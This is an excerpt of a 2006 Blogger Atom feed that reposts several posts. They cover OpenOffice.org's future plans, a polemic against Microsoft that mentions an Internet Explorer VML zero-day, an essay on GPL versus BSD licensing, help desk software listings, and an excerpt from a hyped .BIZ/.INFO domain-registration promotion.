StarOffice shall include the Mozilla Foundation's Thunderbird and Sunbird (calendaring application) in the future. Besides the inclusion of those two softs inside the office suite, connectors to Sun Calendar Server and Microsoft Exchange will also be developed accordingly.&lt;br /&gt;&lt;br /&gt;Third, a word on the 3.0. A few months ago we change our release process as to accomodate more and more community's input and patches; and so we switched to a fully incremental, quarterly release schedule. Which in turns, makes the famous 3.0 rather unpredictable as to what its feature set and characteristics could be. This is why it is useless to look for a weird prototype of it quietly sitting in a virtual Area-51. The only objective of the 3.0 will be to make it much more modular and running on tops of frameworks such as Eclipse, Netbeans or Mozilla's XUL.&lt;br /&gt;&lt;br /&gt;In any case, feel free to get a look at the conferences' slides, they are really worth it... And as you may not know, OpenOffice.org will celebrate its sixth anniversary, so stay tuned!!!&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115898451040082977?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.libervis.com/blogs/5/charles/ooocon_2006_whats_next_for_openofficeorg' title='what&apos;s next for OpenOffice.org'/><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115898451040082977/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115898451040082977&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115898451040082977'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115898451040082977'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/whats-next-for-openofficeorg.html' title='what&apos;s next for OpenOffice.org'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115898408970974807</id><published>2006-09-23T11:00:00.000+07:00</published><updated>2006-09-23T11:01:29.790+07:00</updated><title type='text'>How much abuse will you take from Microsoft?</title><content type='html'>Seriously, how many times must users and businesses be kicked in the face before they buy a clue? Before they realize that they don't have to stay in the abusive Microsoft relationship. The answer seems to be: an unlimited number of times.&lt;br /&gt;&lt;br /&gt;Take, for example, Internet Explorer. In the latest bad news, the newest zero-day flaw in the Internet Explorer implementation of the Vector Markup Language has opened up a gaping wound in Windows. Through that wound, every kind of garbage imaginable -- bots, Trojan down-loaders, spyware, rootkits -- are pouring into Windows systems.&lt;br /&gt;&lt;br /&gt;You think you're safe because you do all the right things in patching your systems? Think again, this hole exists even in fully-patched version of Windows XP SP2 running IE 6. Right now, this very moment, if you go to the wrong site with IE 6, your system is going to get as sick as a dog and You Can't Do Anything About It.&lt;br /&gt;&lt;br /&gt;Well, actually, there is one thing you could do. You could switch from vermin-ridden Windows to a desktop Linux. For businesses, I recommend SLED (SUSE Linux Enterprise Desktop) 10. For home users, Ubuntu 6.06, SimplyMEPIS 6.0, Xandros 4, or Freespire are all excellent choices.&lt;br /&gt;&lt;br /&gt;Not sure how to do it? No problem. IBM has just published a free 376-page book, the Linux Client Migration Cookbook, on how to jump from Windows to Linux.&lt;br /&gt;&lt;br /&gt;OK, so you're not ready to do that. Fine, then would you do yourself the favor of at least dumping IE and using Firefox instead? Yes, Firefox has security problems, too. But, you know what? They tend to be fixed fast -- and there has never, I repeat, never been a significant Firefox-based malware attack of any kind.&lt;br /&gt;&lt;br /&gt;Internet Explorer? It takes forever for some problems to be fixed. Worse still, even when Microsoft "fixes" a problem they sometimes can't get it right the first time, or even the second time. They finally did get it right the third time... but, of course, it was only after that, that the floodwaters of filth came pouring into the hole the folks from Redmond hadn't patched.&lt;br /&gt;&lt;br /&gt;What will it take?&lt;br /&gt;&lt;br /&gt;Some Microsoft users swear that they trust Microsoft to get it right. Is that the same kind of right as when Microsoft tried to slip by us the fact that the Zune, their answer to the iPod, won't play Microsoft's own PlaysForSure media files?&lt;br /&gt;&lt;br /&gt;The only thing I'm sure of about Microsoft is that they believe that there's a sucker born every minute. So far, it seems that they're right, as users continue to stand by their shoddy goods, without even seriously considering the competition.&lt;br /&gt;&lt;br /&gt;My only hope for most of these poor fools is that Vista's price tag will make them at least consider an alternative to Windows on their desktops. And, since Microsoft doesn't have a strangle-hold on the portable music market, buyers will have the good sense to not give Zune a chance to trap their music in a new Microsoft DRM (digital rights management) prison.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-- Steven J. Vaughan-Nichols&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115898408970974807?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.linux-watch.com/news/NS6131985793.html' title='How much abuse will you take from Microsoft?'/><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115898408970974807/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115898408970974807&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115898408970974807'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115898408970974807'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/how-much-abuse-will-you-take-from.html' title='How much abuse will you take from Microsoft?'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115898377594148353</id><published>2006-09-23T10:54:00.000+07:00</published><updated>2006-09-23T10:56:16.333+07:00</updated><title type='text'>rocketed Linux to success</title><content type='html'>GPL, BSD, and NetBSD - why the GPL rocketed Linux to success&lt;br /&gt;&lt;br /&gt;Charles M. Hannum (one of the 4 originators of NetBSD) has posted a sad article about serious problems in the NetBSD project, saying "the NetBSD Project has stagnated to the point of irrelevance." You can see the article or an LWN article about it.&lt;br /&gt;&lt;br /&gt;There are still active FreeBSD and OpenBSD communities, and there's much positive to say about FreeBSD and OpenBSD. I use them occasionally, and I always welcome a chance to talk to their developers - they're sharp folks. Perhaps NetBSD will partly revive. But systems based on the Linux kernel ("Linux") absolutely stomp the *BSDs (FreeBSD, OpenBSD, and NetBSD) in market share. And Linux-based systems will continue to stomp on the *BSDs into the foreseeable future.&lt;br /&gt;&lt;br /&gt;I think there is one primary reason Linux-based systems completely dominate the *BSDs' market share - Linux uses the protective GPL license, and the *BSDs use the permissive ("BSD-style") licenses. The BSD license has been a lot of trouble for all the *BSDs, even though they keep protesting that it's good for them. But look what happens. Every few years, for many years, someone has said, "Let's start a company based on this BSD code!" BSD/OS in particular comes to mind, but Sun (SunOS) and others have done the same. They pull the *BSD code in, and some of the best BSD developers, and write a proprietary derivative. But as a proprietary vendor, their fork becomes expensive to self-maintain, and eventually the company founders or loses interest in that codebase (BSD/OS is gone; Sun switched to Solaris). All that company work is then lost forever, and good developers were sucked away during that period. Repeat, repeat, repeat. That's enough by itself to explain why the BSDs don't maintain the pace of Linux kernel development. But wait - it gets worse.&lt;br /&gt;&lt;br /&gt;In contrast, the GPL has enforced a consortia-like arrangement on any major commercial companies that want to use it. Red Hat, Novell, IBM, and many others are all contributing as a result, and they feel safe in doing so because the others are legally required to do the same. Just look at the domain names on the Linux kernel mailing list - big companies, actively paying for people to contribute. In July 2004, Andrew Morton addressed a forum held by U.S. Senators, and reported that most Linux kernel code was generated by corporate programmers (37,000 of the last 38,000 changes were contributed by those paid by companies to do so; see my report on OSS/FS numbers for more information). BSD license advocates claim that the BSD is more "business friendly", but if you look at actual practice, that argument doesn't wash. The GPL has created a "safe" zone of cooperation among companies, without anyone having to sign complicated legal documents. A company can't feel safe contributing code to the BSDs, because its competitors might simply copy the code without reciprocating. There's much more corporate cooperation in the GPL'ed kernel code than with the BSD'd kernel code. Which means that in practice, it's actually been the GPL that's most "business-friendly".&lt;br /&gt;&lt;br /&gt;So while the BSDs have lost energy every time a company gets involved, the GPL'ed programs gain every time a company gets involved. And that explains it all.&lt;br /&gt;&lt;br /&gt;That's not the only issue, of course. Linus Torvalds makes mistakes, but in general he's a good leader; leadership issues are clearly an issue for some of the BSDs. And Linux's ability early on to support dual-boot computers turned out to be critical years ago. Some people worried about the legal threats that the BSDs were under early on, though I don't think it had that strong an effect. But the early Linux kernel had a number of problems (nonstandard threads, its early network stack was terrible, etc.), which makes it harder to argue that it was "better" at first. And the Linux kernel came AFTER the *BSDs - the BSDs had a head start, and a lot of really smart people. Yet the Linux kernel, and operating systems based on it, jumped quickly past all of them. I believe that's in large part because Linux didn't suffer the endless draining of people and effort caused by the BSD license.&lt;br /&gt;&lt;br /&gt;Clearly, some really excellent projects can work well on BSD-style licenses; witness Apache, for example. It would be a mistake to think that BSD licenses are "bad" licenses, or that the GPL is always the "best" license. But others, like Linux, gcc, etc., have done better with copylefting / "protective" licenses. And some projects, like Wine, have switched to a protective (copylefting) license to stem the tide of loss from the project. Again, it's not as simple as "BSD license bad" - I don't think we fully understand exactly when each license's effects truly have the most effect. But clearly the license matters; this as close to an experiment in competing licenses as you're likely to get.&lt;br /&gt;&lt;br /&gt;Obviously, a license choice should depend on your goals. But let's look more carefully at that statement, maybe we can see what type of license tends to be better for different purposes.&lt;br /&gt;&lt;br /&gt;If your goal is to get an idea or approach widely used to the largest possible extent, a permissive license like the BSD (or MIT) license has much to offer. Anyone can quickly snap up the code and use it. Much of the TCP/IP code (at least for tools) in Windows was originally from BSD, I believe; there are even some copyright statements still in it. BSD code is widely used, and even when it isn't used (the Linux kernel developers wrote their own TCP/IP code) it is certainly studied. But don't expect the public BSD-licensed code to be maintained by those with a commercial interest in it. I haven't noticed a large number of Microsoft developers being paid to improve any of the *BSDs, even though they share the same code ancestries in some cases.&lt;br /&gt;&lt;br /&gt;If your goal is to have a useful program that stays useful long-term, then a protective ("copylefting") license like the LGPL or GPL licenses has much to offer. Protective licenses force the cooperation that is good for everyone in the long term, if a long-term useful project is the goal. For example, I've noticed that GPL projects are far less likely to fork than BSD-licensed projects; the GPL completely eliminates any financial advantage to forking. The power of the GPL license is so strong that even if you choose to not use a copylefting license, it is critically important that an open source software project use a GPL-compatible license.&lt;br /&gt;&lt;br /&gt;Yes, companies could voluntarily cooperate without a license forcing them to. The *BSDs try to depend on this. But it today's cutthroat market, that's more like the "Prisoner's Dilemma". In the dilemma, it's better to cooperate; but since the other guy might choose to not cooperate, and exploit your naivete, you may choose to not cooperate. A way out of this dilemma is to create a situation where you must cooperate, and the GPL does that.&lt;br /&gt;&lt;br /&gt;Again, I don't think license selection is all that simple when developing a free-libre/open source software (FLOSS) program. Obviously the Apache web server does well with its BSD-ish license. But packages like Linux, gcc, Samba, and so on all show that the GPL does work. And more interestingly, they show that a lot of competing companies can cooperate, when the license requires them to&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115898377594148353?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.dwheeler.com/blog/2006/09/01/#gpl-bsd' title='rocketed Linux to success'/><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115898377594148353/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115898377594148353&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115898377594148353'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115898377594148353'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/rocketed-linux-to-success.html' title='rocketed Linux to success'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115839059709665785</id><published>2006-09-16T14:03:00.000+07:00</published><updated>2006-09-16T14:09:57.566+07:00</updated><title type='text'>List web based Help Desk</title><content type='html'>&lt;span style="font-weight:bold;"&gt;ManageEngine&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ManageEngine ServiceDesk Plus is a web based Help Desk and Asset Management software whose features include contract managenent, purchasing and knowledge management functionalities. It integrates Ticketing, Asset Tracking, Purchasing, Contract Management and Knowledge base in one package. ServiceDesk Plus enables end-users to submit tickets via an online web form or through email. It automates several tasks such as case routing, acknowledging requester, technician notification and handling of SLA rules. It includes a Solutions module that allows you to document best practices and solutions to common problems in an online knowledge base.&lt;br /&gt;&lt;br /&gt;ServiceDesk Plus offers inventory tracking functionality across Windows and Linux workstations. It can also track software licenses and let you know the number of over-utilized or under-utilized licenses across your organization.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;LiveTime&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;LiveTime Help Desk provides an enterprise-wide solution for delivering customer service and support. With support for IT Infrastructure Library (ITIL) best practices and a user interface IS team members can have access to audit trails of every case in just a few clicks. With a built-in self-service portal, comprehensive alerting system and knowledge infrastructure, IS staff can focus on solving complex problems and let the system deal with common solutions to everyday problems. LiveTime Help Desk is based on an Internet infrastructure which can be accessed from any browser, with no plug-ins, no client maintenance and no client updates. LiveTime provides pre integration with many third party products, such as Asset Management solutions, and CRM systems.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;GoverLAN&lt;/span&gt;&lt;br /&gt;GoverLAN is a remote administration, user support and enterprise desktop management suite for Windows NT and Active Directory platforms. It is equally a critical asset for enterprise administrators, system administrators and technical support teams.&lt;br /&gt;&lt;br /&gt;The GoverLAN Suite is composed of three main features:&lt;br /&gt;GoverLAN Scope Actions: GoverLAN Scope Actions are a new concept in GoverLAN and represents a major improvement in what GoverLAN has to offer. This new feature empowers you to take control of your machines, users and groups as a whole. Every piece of information, every setting, and every action can now be reported, modified and executed at a scope level.&lt;br /&gt;GoverLAN Administration &amp; Diagnostics: Use GoverLAN to execute real-time remote administration and troubleshooting on your users, computers and groups.&lt;br /&gt;GoverLAN Remote Control: 80% of the GoverLAN Remote Control code has been re-written to provide you with a much faster, more secure remote control feature. Support for clients with multi-monitors has also been added.&lt;br /&gt;&lt;br /&gt;:: Company :: PJ Technologies, Inc.&lt;br /&gt;:: URL :: www.pjtec.com&lt;br /&gt;:: Email :: info@pjtec.com&lt;br /&gt;:: Screenshot :: click here&lt;br /&gt;:: Price :: $549.00&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115839059709665785?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.windowsnetworking.com/software/Help-desk-software/' title='List web based Help Desk'/><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115839059709665785/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115839059709665785&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115839059709665785'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115839059709665785'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/list-web-based-help-desk.html' title='List web based Help Desk'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115839001578550499</id><published>2006-09-16T13:57:00.000+07:00</published><updated>2006-09-16T14:00:15.913+07:00</updated><title type='text'>Web Based Help Desk Software</title><content type='html'>Web Based Help Desk Software&lt;br /&gt;&lt;br /&gt;There are many reasons companies have turned to Web-based software in lieu of traditional stand-alone applications. One of the most notable benefits of Web-based software, is of course, the advantages it poses for companies with multiple locations, satellite offices and traveling employees. Web-based applications can be accessed from any place that has an Internet connection.&lt;br /&gt;&lt;br /&gt;Web-based software is also much easier to manage in terms of installation and upgrades. Once an upgrade or change is installed on the server, all users have immediate access. There is no need to upgrade individual PC's, and migration issues no longer take up valuable DBA and technician resources. Finally, Web-based applications are much more cost-effective to deploy, as all users are accessing it through a browser. There is also then, no need for testing on different operating systems and hardware/software configurations.&lt;br /&gt;&lt;br /&gt;Simplifying Customer Service Tasks&lt;br /&gt;Web-based help desk software uses the power and universality of the Internet to manage and simplify customer service tasks. With our application, managers can have access to real-time customer trends, speed call turnaround and increase customer satisfaction. It also allows users to remotely check ticket progress, submit requests and view service bulletins.&lt;br /&gt;&lt;br /&gt;Help Desk was designed to operate as both a stand-alone application or one that is integrated with other Eden, or third party business software solutions. It was developed to align with ITIL® best practices, and can easily be maintained on any J2EE compliant application server, or Eden can host the solution for you. Our Help Desk is user-friendly enough that it rarely requires technical support, but just in case, Eden maintains a staff of highly-trained technicians to answer your questions 24 hours a day.&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115839001578550499?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.eden.com/articles/web-based-help-desk-software.php' title='Web Based Help Desk Software'/><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115839001578550499/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115839001578550499&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115839001578550499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115839001578550499'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/web-based-help-desk-software.html' title='Web Based Help Desk Software'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115838960640077819</id><published>2006-09-16T10:52:00.000+07:00</published><updated>2006-09-16T13:53:45.916+07:00</updated><title type='text'>Web Based Help Desk</title><content type='html'>A help desk that allows you to provide comprehensive service through a central ticketing system while balancing work flow between your site operators.  Some of the features include a powerful email parser for email communication, separate public interfaces, a fully integrated knowledgebase,  “Ajax” enabled work flow management features, and live chat integration options.&lt;br /&gt;&lt;br /&gt;SupportTrio allows you to easily track, manage, and respond accurately to your visitor’s support queries. It eases your support load and provides better support management. The user and the visitor can track and update support tickets through a centralized location. Ticketing avoids the inherent confusion and pitfalls of email support. The ticket are archived and can be accessed at a later date&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115838960640077819?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115838960640077819/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115838960640077819&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115838960640077819'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115838960640077819'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/web-based-help-desk.html' title='Web Based Help Desk'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115829377745550444</id><published>2006-09-15T11:13:00.000+07:00</published><updated>2006-09-15T11:16:17.530+07:00</updated><title type='text'>How To Win The .BIZ - .INFO Domain Lottery.</title><content type='html'>Anyone can win a million-dollar name, Really!&lt;br /&gt;&lt;br /&gt;You have heard how the Internet is like the Old Wild West?&lt;br /&gt;You have not seen anything yet. The greatest Internet gold&lt;br /&gt;rush lottery will start June 25th, and probably no one&lt;br /&gt;told you. The prediction is that over 5 million new .BIZ and&lt;br /&gt;.INFO Domain Names will be registered within the first few&lt;br /&gt;hours. Like the old days when settlers lined up for a Free&lt;br /&gt;Land Grab, a select group of "in the know" businesses and&lt;br /&gt;entrepreneurs are now quietly lining up by pre-registering&lt;br /&gt;before the opening day of the land rush lottery. For the first&lt;br /&gt;time the "little guy" can join them in the game and get a&lt;br /&gt;million-dollar name for $20 to $40. In fact you could get&lt;br /&gt;several Domain treasures by pre-registering.&lt;br /&gt;&lt;br /&gt;These new ICANN approved Domain extensions, the first&lt;br /&gt;in over 10 years, will quickly become the dot extensions of&lt;br /&gt;choice for the Internet, next to the Big Chief .COM.&lt;br /&gt;&lt;br /&gt;1. .COM&lt;br /&gt;2. .BIZ&lt;br /&gt;3. .INFO&lt;br /&gt;&lt;br /&gt;In the past developers and squatters had several years head&lt;br /&gt;start on the good .COM Domain Names. This was also true&lt;br /&gt;with the .CC, .TV, .WS and all the other dot extensions.&lt;br /&gt;The really good Domain Names were pulled by the&lt;br /&gt;promoters before the names were offered to the general&lt;br /&gt;public. This time you have the same chance to get those&lt;br /&gt;million dollar Domain Names as the wheelers and dealers.&lt;br /&gt;&lt;br /&gt;The only exception is that trademark owners can register&lt;br /&gt;their Domain trademark names now for a filing fee of&lt;br /&gt;$199.75 (includes five years registration). The Trademark&lt;br /&gt;Owners advantage ends June 24th.&lt;br /&gt;&lt;br /&gt;The Starting Gun Will Fire June 25th.&lt;br /&gt;On this date the .BIZ registration Land Rush lottery will&lt;br /&gt;open, followed by the opening of the .INFO public lottery&lt;br /&gt;on July 25th.&lt;br 